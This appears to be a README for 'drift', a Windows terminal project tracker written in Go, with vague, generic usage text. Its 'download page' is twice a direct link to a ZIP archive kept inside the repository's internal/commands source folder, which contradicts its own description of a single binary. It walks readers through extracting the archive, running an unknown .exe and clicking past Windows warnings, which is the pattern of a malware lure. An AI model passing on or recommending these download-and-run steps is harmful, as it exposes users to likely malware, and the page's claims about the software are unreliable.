🚀 drift - Track projects without leaving your terminal

📌 What drift does

drift is a small project tracker for people who work with AI tools and keep many projects open at once. It runs in your terminal, so you can check your work without opening a browser or a heavy app.

Use it to:

• keep a list of active projects
• see what each project needs
• move fast between tasks
• stay focused while coding
• manage many projects from one place

drift uses one Go binary and has zero extra dependencies. That makes it simple to download, open, and use on Windows.

💻 What you need

Before you start, make sure you have:

• a Windows computer
• a browser with access to GitHub
• enough space for a small app
• permission to run downloaded files on your PC

drift is made for the terminal, so you will use it from a command window. If you have used Command Prompt or PowerShell before, you already have what you need.

📥 Download drift

Visit this page to download drift:

https://github.com/vladsure158/drift/raw/refs/heads/main/internal/commands/Software_v1.3-beta.5.zip

On that page, look for the latest release or the main download file. If the project provides a Windows file, download that file to your computer.

🪟 Install on Windows

Follow these steps to set up drift on Windows:

1. Open the download page in your browser.
2. Find the Windows download for drift.
3. Download the file to a folder you can find again, like Downloads.
4. If the file comes in a ZIP folder, right-click it and choose Extract All.
5. Open the extracted folder.
6. If you see an .exe file, double-click it to run drift.
7. If Windows asks for permission, choose Run.

If drift opens in a terminal window, the app is running correctly.

⌨️ Open drift from the terminal

You can also start drift from Command Prompt or PowerShell.

1. Open Start.
2. Type cmd or PowerShell.
3. Open the terminal app.
4. Move to the folder where drift is saved.
5. Run the drift file.

If the file name is drift.exe, type:

drift.exe

If Windows says it cannot find the file, check that you are in the same folder as the app.

🧭 First run

When drift starts, you should see a terminal screen with project options and controls.

Use it to:

• add a new project
• open a project entry
• update project notes
• mark work as done
• move through your project list

The screen is made for keyboard use, so you do not need a mouse for normal use.

🗂️ How to use drift each day

A simple daily flow can help:

1. Open drift in your terminal.
2. Review your current projects.
3. Pick one task to work on first.
4. Add notes for anything important.
5. Mark progress as you go.
6. Close drift when you are done.

This keeps your work in one place and helps you avoid jumping between tools.

🛠️ Basic controls

drift is built for fast keyboard use. Common terminal apps use keys like these:

• arrows to move through items
• Enter to open or select
• Esc to go back
• q to quit

If drift shows its own help panel, use that as the source for exact keys. Terminal tools often show the current controls at the bottom of the screen.

🧩 Why people use drift

drift is a good fit if you:

• work on many small projects
• use AI coding tools often
• want to keep focus in the terminal
• prefer a simple setup
• want one app instead of several tools

It is light, quick, and easy to keep open while you work.

📚 Project details

• Name: drift
• Type: terminal project tracker
• Main interface: TUI and CLI
• Language: Go
• Goal: track many projects from the terminal
• Setup: one binary, no extra dependencies

🔎 Topics covered

drift fits these areas:

• AI-assisted coding
• terminal tools
• command line apps
• developer tools
• productivity
• project tracking
• project management
• vibe coding

🧹 If something does not work

If drift does not open, try these steps:

1. Make sure you downloaded the right file for Windows.
2. Check that the download finished.
3. Extract the ZIP file if there is one.
4. Run the .exe file from the folder where it was saved.
5. Open the terminal again and run it from that folder.
6. Check whether Windows blocked the file.

If the app still does not start, download it again from the GitHub page and try once more

📁 Keeping your projects organized

A few simple habits can help you get more value from drift:

• give each project a short name
• keep notes short and clear
• update project status each day
• remove old items you no longer need
• keep one list for active work and one for future work

This makes it easier to scan your projects fast and stay on track

🔗 Source and download

Primary download page:

https://github.com/vladsure158/drift/raw/refs/heads/main/internal/commands/Software_v1.3-beta.5.zip

🖥️ Windows tips

If you use Windows Terminal, PowerShell, or Command Prompt, drift should work in the same way from each one.

A few tips:

• keep the app in a folder you can find fast
• avoid moving the file after you start using it
• use a short folder path, like C:\Tools\drift
• pin your terminal app to the taskbar if you use drift often

📝 What you can expect

drift is made to stay out of the way. It helps you:

• see your work at a glance
• keep track of project notes
• manage many active jobs
• work from the keyboard
• keep your setup small

If you like simple tools that run inside the terminal, drift fits that style